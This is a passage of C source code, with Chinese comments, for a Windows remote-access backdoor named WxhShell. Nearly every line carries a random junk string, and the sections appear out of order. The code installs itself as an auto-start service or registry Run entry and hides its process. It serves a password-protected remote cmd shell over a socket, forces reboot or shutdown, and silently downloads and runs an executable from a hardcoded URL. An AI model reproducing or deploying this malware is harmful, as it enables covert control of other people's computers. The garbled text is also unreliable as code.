    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P9vA7[  
    else { /%;mqrdk  
    closesocket(wsh); hX=A)73(  
    ExitThread(0); d&+h}O  
    } yp({>{u7  
    break; ?]}8o}G  
    } FN8NTBk  
  // 获取shell CL+}| 7O(  
  case 's': { #N`~xZ|$  
    CmdShell(wsh); *exS6@N]  
    closesocket(wsh); e8GEoD  
    ExitThread(0); <kx&w(=  
    break; * iF]n2g:  
  } !y@6Mm  
  // 退出 CW,Wx:Y  
  case 'x': { l\@)y4 +  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ::}{_ Z  
    CloseIt(wsh); s;6CExH  
    break; * /:x sI  
    } l=v4Fa0^jF  
  // 离开 }Nf%n@  
  case 'q': { H{=21\a\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~V\D|W9  
    closesocket(wsh); E(Z8  
    WSACleanup(); mD^ jd+  
    exit(1); w.?:SD  
    break; WjlZ6g2i  
        } /N&CaH\;^$  
  } a+%6B_|\  
  } :(M(>4t  
"CI=`=  
  // 提示信息 !0vG|C ;'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eep1I :N  
} T-U}QM_e  
  } 'LO^<  
:gep:4&u  
  return; 2fWTY0  
} -(~!Jo_*'  
"-vW,7y  
// shell模块句柄 f PM8f  
int CmdShell(SOCKET sock) *U P@9D  
{ EV*IoE$W]=  
STARTUPINFO si; _N{RVeO  
ZeroMemory(&si,sizeof(si)); @n{JM7ctJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [E/\#4b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V;,{}  
PROCESS_INFORMATION ProcessInfo; qLB) XnQ  
char cmdline[]="cmd"; a 0GpfW$t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AMyIAZnYq)  
  return 0; B>0]. CK`  
} gk0(ANx  
fmb} 2h  
// 自身启动模式 d~1 gMz+)  
int StartFromService(void) mqSQL}vR  
{ ^h"`}[+  
typedef struct ?'KL11@R  
{ ]Ccg`AR{  
  DWORD ExitStatus; 4UW_Do  
  DWORD PebBaseAddress; #0y)U;dA+w  
  DWORD AffinityMask; \cUC9/ b  
  DWORD BasePriority; VB, ?Mo}R  
  ULONG UniqueProcessId; +7=K/[9p  
  ULONG InheritedFromUniqueProcessId; z <##g  
}   PROCESS_BASIC_INFORMATION; mjKS{  
Yd#/1!A7u  
PROCNTQSIP NtQueryInformationProcess; B(n{e53 9f  
hHT_V2*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z$?~Y(EY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f]\CD<g3|E  
2C9V|[U,  
  HANDLE             hProcess; br":y>=,  
  PROCESS_BASIC_INFORMATION pbi; w-t8C=Z  
&3TEfvz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X ><?F|#7T  
  if(NULL == hInst ) return 0; HLV2~5Txc  
4Dw@r{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mg$]QnbAnH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `CgaS#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P dhEQ}H  
^]W<X"H+Z  
  if (!NtQueryInformationProcess) return 0; !>zo _fP  
.U?'i<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OslL~<  
  if(!hProcess) return 0; JU^lyi!  
]Zyur`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dAkgR~  
RIY,K*f.  
  CloseHandle(hProcess); enSXP~9w  
Z(ACc9k6:'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `O[};3O&  
if(hProcess==NULL) return 0; =1Oj*x@*4  
LYaZ1*  
HMODULE hMod; /oR<A  
char procName[255]; %0,#ADCqOe  
unsigned long cbNeeded; R}4So1  
|Y[wzDYV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d+Ek%_  
T ^~5n6  
  CloseHandle(hProcess); JAQb{KefdO  
@M5#S7q";  
if(strstr(procName,"services")) return 1; // 以服务启动 9+{G8$Ai  
S=e{MI  
  return 0; // 注册表启动 O"c;|zCc>  
} y6[IfcN  
|>tKq;/  
// 主模块 YYu6W@m]  
int StartWxhshell(LPSTR lpCmdLine) v,4pp@8rv  
{ 3 %|86:*  
  SOCKET wsl; 3P^sM1  
BOOL val=TRUE; m6[0Kws&  
  int port=0; Od %"B\  
  struct sockaddr_in door; O0pDd4)"  
49dd5ddr  
  if(wscfg.ws_autoins) Install(); b#hDHSdZ,  
lMg+R<$~I  
port=atoi(lpCmdLine); j+["JXy  
F=a<~EpZ  
if(port<=0) port=wscfg.ws_port; }A7j/uy}s  
iTAx=SG  
  WSADATA data; Htgx`N|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2VE9}%i  
G %Q^o5m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~nG(5:A5g/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S>]pRV9rT  
  door.sin_family = AF_INET; t_qNq{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]A<~XIu  
  door.sin_port = htons(port); 1r]Io gI  
;bL EL"x%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WzF !6n!h  
closesocket(wsl); h9Y%{v  
return 1; $l|qk  z  
} HLZ;8/|48m  
3T!lA  
  if(listen(wsl,2) == INVALID_SOCKET) { @)4]b+8Z  
closesocket(wsl); m|:_]/*qE  
return 1; j&Wl0  
} (r D_(%o  
  Wxhshell(wsl); yGPS`S  
  WSACleanup(); ^]a#7/]o  
P:aJ#  
return 0; "0cID3A$  
ek}a}.3 {  
} zOa_X~!@  
9)gC6 IiW  
// 以NT服务方式启动 LG1r]2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )Hk3A$6(  
{ eK!V );  
DWORD   status = 0; IuRmEL_Q_  
  DWORD   specificError = 0xfffffff; y10h#&k  
~ y;6W0x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?Vdia:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 52,m:EhL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0 SNIYkGE  
  serviceStatus.dwWin32ExitCode     = 0; (C@~3!AVa  
  serviceStatus.dwServiceSpecificExitCode = 0; ,]cD  
  serviceStatus.dwCheckPoint       = 0; Hqn#yInA7~  
  serviceStatus.dwWaitHint       = 0; ~tR~?b T  
pD01,5/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _Gjk;|Sx<I  
  if (hServiceStatusHandle==0) return; 66I"=:  
?}a;}Q 6  
status = GetLastError(); S4h:|jLUF  
  if (status!=NO_ERROR) *?Kr*]dnLl  
{ ;F~LqC$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2m35R&  
    serviceStatus.dwCheckPoint       = 0; g;8jK 8 Kh  
    serviceStatus.dwWaitHint       = 0; }woo%N P  
    serviceStatus.dwWin32ExitCode     = status; mA*AeP_$  
    serviceStatus.dwServiceSpecificExitCode = specificError; KFvQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]5$eAYq  
    return; H+ 0$tHi  
  } 6^"=dn6K  
'toa@5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZOQTINf  
  serviceStatus.dwCheckPoint       = 0; /s[l-1zW  
  serviceStatus.dwWaitHint       = 0; DJ(q 7W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <B6&I$Wc+  
} d)R:9M}v  
WeQk<y  
// 处理NT服务事件,比如:启动、停止 sPMa]F(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V8HnUuz  
{ pk3<|  
switch(fdwControl) 6u`)QUmItg  
{ }= 6'MjF]  
case SERVICE_CONTROL_STOP: 0VGPEKRh  
  serviceStatus.dwWin32ExitCode = 0; L_+k12lm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k'IYA#T6  
  serviceStatus.dwCheckPoint   = 0; }c`fW&  
  serviceStatus.dwWaitHint     = 0; _;~,Cgfi  
  { I]&#Dl/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~D5\O6mU-  
  } OQ>x5?um  
  return; mysetv&5  
case SERVICE_CONTROL_PAUSE: R&Jm +3N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; CO2C{~Q5  
  break; ]zQo>W$  
case SERVICE_CONTROL_CONTINUE: ;r>snJ=M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +tk{"s^r*  
  break; .$%Soyr?,  
case SERVICE_CONTROL_INTERROGATE: 4)"n RjGg  
  break; 'C ~ y5j  
}; L}}y'^(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K!'AkTW+-  
} _`_%Y(Xat  
w - Pk7I  
// 标准应用程序主函数 3&[>u;Bp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b D[!/'4eJ  
{ M5*{  
I{lT>go  
// 获取操作系统版本 7A\~)U @  
OsIsNt=GetOsVer(); #L{OV)a<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3'c0#h@VD  
N\#MwLm  
  // 从命令行安装 H*Kj3NgY  
  if(strpbrk(lpCmdLine,"iI")) Install(); e=Z, Jg  
Sz^5b!  
  // 下载执行文件 Fx $Q;H!.  
if(wscfg.ws_downexe) { f"9q^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oA =4=`  
  WinExec(wscfg.ws_filenam,SW_HIDE); qd#sY.|1  
} W0k0$\iX  
<0QH<4  
if(!OsIsNt) { =ZDAeVz3w  
// 如果时win9x,隐藏进程并且设置为注册表启动 sm\f0P!rv  
HideProc(); {e[c  
StartWxhshell(lpCmdLine); :bWUuXVtJ  
} NLrPSqz  
else "ajjJ"x A  
  if(StartFromService()) pDh{Z g6t  
  // 以服务方式启动 -|Y(V5]  
  StartServiceCtrlDispatcher(DispatchTable); B:e @0049  
else GW$.lo1|)  
  // 普通方式启动 +[ R/=$  
  StartWxhshell(lpCmdLine); 3$m4q`J  
VA9Gb 9  
return 0; %_(H{y_!  
} m^H21P"z  
F6K4#t+9  
r ; xLP  
{.De4]ANh  
=========================================== E/09hD Q  
"bm  
r4QxoaM  
B';6r4I-  
XP1~d>j  
XvE9 b5}  
" e][B7wZ  
/,X[k !  
#include <stdio.h> *3&fqBg  
#include <string.h> g+ MdHn[  
#include <windows.h> ]6{*^4kX  
#include <winsock2.h> ^ mS o1?<  
#include <winsvc.h> |6(ZD^w  
#include <urlmon.h> B"v.* %"&/  
KGWyJ  
#pragma comment (lib, "Ws2_32.lib") nIoPC[%_  
#pragma comment (lib, "urlmon.lib") `8I&7c  
un=2}@ '  
#define MAX_USER   100 // 最大客户端连接数 Oer^Rk  
#define BUF_SOCK   200 // sock buffer :LQ5 u[g$\  
#define KEY_BUFF   255 // 输入 buffer h~(D@/tB  
7yx$N n`(  
#define REBOOT     0   // 重启 >A<bBK#  
#define SHUTDOWN   1   // 关机 vk?skN@  
<7n4_RlF!  
#define DEF_PORT   5000 // 监听端口 qpsv i.S  
a?6a b+7#  
#define REG_LEN     16   // 注册表键长度 qKE:3g35  
#define SVC_LEN     80   // NT服务名长度 9!Ar`Io2@  
\MmI`$  
// 从dll定义API GG0R}',0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q\WC+,_%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DF g,Xa#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -CR?<A4mud  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /MF! GM  
hTM[8 ~<^  
// wxhshell配置信息 ~O]]N;>72"  
struct WSCFG { V~hlq$jn<Y  
  int ws_port;         // 监听端口 PZm:T+5H  
  char ws_passstr[REG_LEN]; // 口令 PNA\ TXT  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y)$ ;Ax-D  
  char ws_regname[REG_LEN]; // 注册表键名 #."Hh<C  
  char ws_svcname[REG_LEN]; // 服务名 3` #6ACF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (lGaPMEU}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6sE{{,OGB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !p[9{U->o;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g(Io/hyj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #!$GH_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `c69 ?/5  
sj8~?O  
}; Ht-t1q  
w~ ;I7:  
// default Wxhshell configuration tBm_YP[  
struct WSCFG wscfg={DEF_PORT, i:cXwQG}B  
    "xuhuanlingzhe", Pf$pt  
    1, .!6>oL/iF  
    "Wxhshell", tU^kQR!  
    "Wxhshell", +4,2<\fX  
            "WxhShell Service", 5hbJOo0BZ  
    "Wrsky Windows CmdShell Service", h8Xg`C\  
    "Please Input Your Password: ", $rhgzpZ!X_  
  1, e{A9r@p!  
  "http://www.wrsky.com/wxhshell.exe", +MB!B9M@  
  "Wxhshell.exe" [F*4EGB  
    }; [ G e=kFB  
-PnyZ2'Z  
// 消息定义模块 1O!/g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DEw8*MN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s%!`kWVJ.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /%I7Vc  
char *msg_ws_ext="\n\rExit."; N~?{UOZd  
char *msg_ws_end="\n\rQuit."; ; h`0ir4[A  
char *msg_ws_boot="\n\rReboot..."; )m&U#S _;  
char *msg_ws_poff="\n\rShutdown..."; H%1$,]F  
char *msg_ws_down="\n\rSave to "; ~-#yOu ,w  
C'!;J  
char *msg_ws_err="\n\rErr!"; tdEnk.O  
char *msg_ws_ok="\n\rOK!"; 37q@rDm2  
~+H" -+  
char ExeFile[MAX_PATH]; Cv*x2KF G  
int nUser = 0; 2iU7 0(H  
HANDLE handles[MAX_USER]; VN 'Wq7>6  
int OsIsNt; ~fa(=.h  
N 6T{  
SERVICE_STATUS       serviceStatus; 4_D@ST%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o%4Gd~  
`$YP<CJeq  
// 函数声明 jr /lk  
int Install(void); $v`afd y  
int Uninstall(void); O Lc}_  
int DownloadFile(char *sURL, SOCKET wsh); ';G1A  
int Boot(int flag); zi'Jr)n  
void HideProc(void); a|BcnYN  
int GetOsVer(void); $x#FgD(iI  
int Wxhshell(SOCKET wsl); D&ve15wL  
void TalkWithClient(void *cs); /oL;YIoQX  
int CmdShell(SOCKET sock); /R LI,.%  
int StartFromService(void); NJ MJ  
int StartWxhshell(LPSTR lpCmdLine); X]y )ZF26  
gUAxyV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v`c$!L5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v6GsoQmA   
3^ StIw{X  
// 数据结构和表定义 $3d}"D  
SERVICE_TABLE_ENTRY DispatchTable[] = PU {uE[  
{ m))<!3  
{wscfg.ws_svcname, NTServiceMain}, id?#TqD  
{NULL, NULL} o3Vn<Z$/Cl  
}; @f!AkzI  
!'f3>W\   
// 自我安装 o]LRzI  
int Install(void) "{E q hR~  
{ vZ#!uU^a:  
  char svExeFile[MAX_PATH]; Pz_NDI  
  HKEY key; tQ~WEC  
  strcpy(svExeFile,ExeFile); \]Dt4o*yZ  
o:Zd1"Z  
// 如果是win9x系统,修改注册表设为自启动 d vOJW".  
if(!OsIsNt) { i1oKrRv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M0c 9pE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *RR[H6B^]X  
  RegCloseKey(key);  UkfB^hA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +<.\5+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -#29xRPk  
  RegCloseKey(key); w# * 1/N  
  return 0; .A1\J@b  
    } e#/kNHl  
  } *8ExRQZ$  
} ]feyJLF  
else { 3"UsZyN:  
ue8qIZH  
// 如果是NT以上系统,安装为系统服务 l12$l<x&M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '+*-s7o{  
if (schSCManager!=0) O!Wd5Y  
{ .1QgK  
  SC_HANDLE schService = CreateService 3|rn] yZ  
  ( . -"E^f  
  schSCManager, (shK  
  wscfg.ws_svcname, >?YNW   
  wscfg.ws_svcdisp, {6d b{ ay_  
  SERVICE_ALL_ACCESS, O4No0xeWo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |c2v%'J2G  
  SERVICE_AUTO_START, 8@M'[jT  
  SERVICE_ERROR_NORMAL, np WEop>  
  svExeFile, vtMJ@!MN;  
  NULL, ]]cYLaq(  
  NULL, bO<0qM~  
  NULL, S^cH}-+  
  NULL, }wSy  
  NULL Hh kN^S,  
  ); 3^.8.q(6  
  if (schService!=0) \NXQ  
  { *C,N'M<u  
  CloseServiceHandle(schService); /.=r>a }l  
  CloseServiceHandle(schSCManager);  yu ,h\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &!y]:CC{  
  strcat(svExeFile,wscfg.ws_svcname); kDB iBNdB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m]IysyFFK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \,sg)^w@  
  RegCloseKey(key); _a+ICqR  
  return 0; U&y`-@A4  
    } "L3Xd][  
  } TRKgBK$,  
  CloseServiceHandle(schSCManager); d<@Mdo<;?g  
} T+RZ  
} 3SARr>HRyI  
`ycU-m==  
return 1; }r2[!gGd%|  
} Y5-kj,CB  
sIm#_+Y  
// 自我卸载 wH!#aB>kP  
int Uninstall(void) bj"z8kP  
{ m1.B\~S3  
  HKEY key; &-GuKH(Y<  
(G4'(6  
if(!OsIsNt) { $Kq<W{H3ut  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B; -2$ 77  
  RegDeleteValue(key,wscfg.ws_regname); c6b0*!D"}  
  RegCloseKey(key); 0k?Sq#7q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C>*n9l[M~  
  RegDeleteValue(key,wscfg.ws_regname); RI@*O6\/I  
  RegCloseKey(key); acOJ]]  
  return 0;  v_sm  
  } 7aQcP  
} 7nz!0I^   
} pIVq("&  
else { BDpF }  
NygI67  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [F|+(}  
if (schSCManager!=0) <{019Oa  
{ n6d^>s9J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *\LyNL(  
  if (schService!=0) Y&,rTa  
  { m{&w{3pQk  
  if(DeleteService(schService)!=0) { -NDi5i\  
  CloseServiceHandle(schService); $o^e:Y , a  
  CloseServiceHandle(schSCManager); lEfBe)7+  
  return 0; i=8UBryr'e  
  } -3mgza  
  CloseServiceHandle(schService); 6.Bh3p  
  } Yg6I&#f7&  
  CloseServiceHandle(schSCManager); id?_>9@P  
} 4uX(_5#j  
} f[qPG&  
O|UxFnB}  
return 1; 8U^D(jrz  
} IT1P Pm  
ck$2Ue2`@w  
// 从指定url下载文件 l(Cf7o!  
int DownloadFile(char *sURL, SOCKET wsh) 797X71>  
{ 5.k}{{+  
  HRESULT hr; >38 Lt\  
char seps[]= "/"; G&o64W;-s  
char *token; z{6 YC~  
char *file; 2cjEex:&  
char myURL[MAX_PATH]; Bn-J_-%M  
char myFILE[MAX_PATH]; l#6&WWmr  
-SJSTO[/J  
strcpy(myURL,sURL); *mV&K\_  
  token=strtok(myURL,seps); SOH%Q_  
  while(token!=NULL) k ]bPI$  
  { ? : md  
    file=token; @xJCn}`Zj  
  token=strtok(NULL,seps); n{=7 yK  
  } 2 `5=0E1k  
n4>cERf a  
GetCurrentDirectory(MAX_PATH,myFILE); h]P/KVqR.  
strcat(myFILE, "\\"); S'?fJ.  
strcat(myFILE, file); NQ!<f\m4n  
  send(wsh,myFILE,strlen(myFILE),0); J"bD\%  
send(wsh,"...",3,0); ;\s~%~ \  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _:5=|2-E  
  if(hr==S_OK) 6z1\a  
return 0; DVzssP g  
else [tm[,VfA^  
return 1; 0IFlEe[>#  
sJ7sjrEp 1  
} </yo9.  
lzoeST  
// 系统电源模块 O3+)qb!X  
int Boot(int flag) Bj&_IDs4  
{ ru(J5+H  
  HANDLE hToken; ( H[  
  TOKEN_PRIVILEGES tkp; Q)+Y}  
\[k% )_  
  if(OsIsNt) { o4'Wr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (+x]##Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \=8=wQv  
    tkp.PrivilegeCount = 1; #gI&lO*\gr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jnDQ{D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3q CHh  
if(flag==REBOOT) { wDZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~B*~'I9b*  
  return 0; fD(7F N8  
} .ujj:>  
else { 'g]=.K+@}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mo*'"/  
  return 0; `+^sW#ki  
} 4 iKR{P6  
  } @%H8"A  
  else { qM*S*,s  
if(flag==REBOOT) { .d e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IW]*i?L  
  return 0; Ft$^x-d  
} Nor`c+,4  
else { N Z)b:~a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Me<du& T  
  return 0; 55,=[  
} 9H[/Tj-;  
} )"F5lOA6  
:4iU^6  
return 1; Hy;901( %  
} -HN%B?}. x  
nIR*_<ow  
// win9x进程隐藏模块 +h|K[=l\  
void HideProc(void) E\_W  
{ H lF}   
UE{,.s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bk0Y  
  if ( hKernel != NULL ) &8waih(|  
  { $^K]&Mft  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4XD)E&   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 33,;i E  
    FreeLibrary(hKernel); h*G#<M  
  } Gj5>Y!9  
>j) w\i  
return; ;fj9 n-  
} rWqkdi1  
+!Q!m 3/I  
// 获取操作系统版本 ZX h~ 79  
int GetOsVer(void) &q"'_4  
{ }U(\~ =D  
  OSVERSIONINFO winfo; Ou? r {$(b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ogd8!'\  
  GetVersionEx(&winfo); ;C+cE#   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e/ WBgiLw  
  return 1; U|9U(il  
  else [4ee <J  
  return 0; 6TY){P w  
} -!i;7[N  
~~ U<  
// 客户端句柄模块 6#fOCr;f7  
int Wxhshell(SOCKET wsl) ,zG<7~m  
{ 8znj~7}#  
  SOCKET wsh; z2.*#xTZn  
  struct sockaddr_in client; J &{qppN  
  DWORD myID; _IC,9bbg  
'xQna+%h  
  while(nUser<MAX_USER) @T5YsX]qb7  
{ sE-x"c  
  int nSize=sizeof(client); xcw%RUC-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9^(HXH_f  
  if(wsh==INVALID_SOCKET) return 1; IvFR <n  
//~POm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9jqO/_7R+  
if(handles[nUser]==0) 6aRGG+H  
  closesocket(wsh); BSOjyy1f  
else ]c5DOv&  
  nUser++; B'<!k7Ewy  
  } \y[Bu^tk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~."!l'a  
lfXH7jL2~  
  return 0; yLjV[ qP  
} ^=Q8]W_*  
N&?T0Ge;  
// 关闭 socket lt{lHat1  
void CloseIt(SOCKET wsh) `i=JjgG@  
{ h-Tsi:%b  
closesocket(wsh); aMBL1d7  
nUser--; *Yj~]E0`1  
ExitThread(0); +:fqL  
} ESn6D@"  
p(~Y" H  
// 客户端请求句柄 yI3Q|731)  
void TalkWithClient(void *cs) 4[2=L9MIo~  
{  \C!%IR  
G(:s-x ig6  
  SOCKET wsh=(SOCKET)cs; -l\~p4U  
  char pwd[SVC_LEN]; g[m3IJzq  
  char cmd[KEY_BUFF]; -,FK{[h]ka  
char chr[1]; 6#-6Bh)>4  
int i,j; dVPq%[J2  
>g>f;\mD7$  
  while (nUser < MAX_USER) { 2T//%ys=  
 AQB1gzE  
if(wscfg.ws_passstr) { ?@3#c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zhuy ePn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 67}]s@:l](  
  //ZeroMemory(pwd,KEY_BUFF); zv$Gma_  
      i=0; ub[""M?  
  while(i<SVC_LEN) { zt-'SY  
9 %D$T'K  
  // 设置超时 f-vZ2+HP  
  fd_set FdRead; os}b?I*K  
  struct timeval TimeOut; y T[Lzv#  
  FD_ZERO(&FdRead); J"/ JRn  
  FD_SET(wsh,&FdRead); 5dg-d\ 6S  
  TimeOut.tv_sec=8; |P^]@om  
  TimeOut.tv_usec=0; BjH~Ml2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =Dh$yC-Zr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M4zX*&w.T  
44'=;/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N|UBaPS|o  
  pwd=chr[0]; 0q:(-z\S4  
  if(chr[0]==0xd || chr[0]==0xa) { t9?R/:B%  
  pwd=0; [SCw<<l<  
  break; hO^&0?  
  } K?5B>dv@A  
  i++; 8]sTX9  
    } j5PaSk&o=  
4}.WhE|h  
  // 如果是非法用户,关闭 socket di8W2cwz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IUluJ.sXIf  
} \Pw8wayr%  
"V*kOb&'*Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8|w5QvCU?3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZmEG<T05  
aSn0o_4bD  
while(1) { rF Ko E%  
B@ZqJw9J[  
  ZeroMemory(cmd,KEY_BUFF); @o}1n?w  
-s9Y(>  
      // 自动支持客户端 telnet标准   1 ;cv-W  
  j=0; r{pI-$  
  while(j<KEY_BUFF) { UiJ^~rn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *Gg1h@&  
  cmd[j]=chr[0]; di-O*ug  
  if(chr[0]==0xa || chr[0]==0xd) { Aivu%}_|  
  cmd[j]=0; _ff=B  
  break; DCEvr"(  
  } ]NaMZ  
  j++; y3&Tv  
    } c'4>D,?1  
@?<N +qdH>  
  // 下载文件 &/B2)l6a  
  if(strstr(cmd,"http://")) { yf `.%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3S[w'  
  if(DownloadFile(cmd,wsh)) Fv?R\`52u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8vz_~p9%j  
  else JIyBhFI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :NwMb^>  
  } %00k1 *$  
  else { el <<D  
fOqS|1rC  
    switch(cmd[0]) { L LYHr  
  3v9gb,)y\  
  // 帮助 uS! 35{.>  
  case '?': { p{mxk)A  
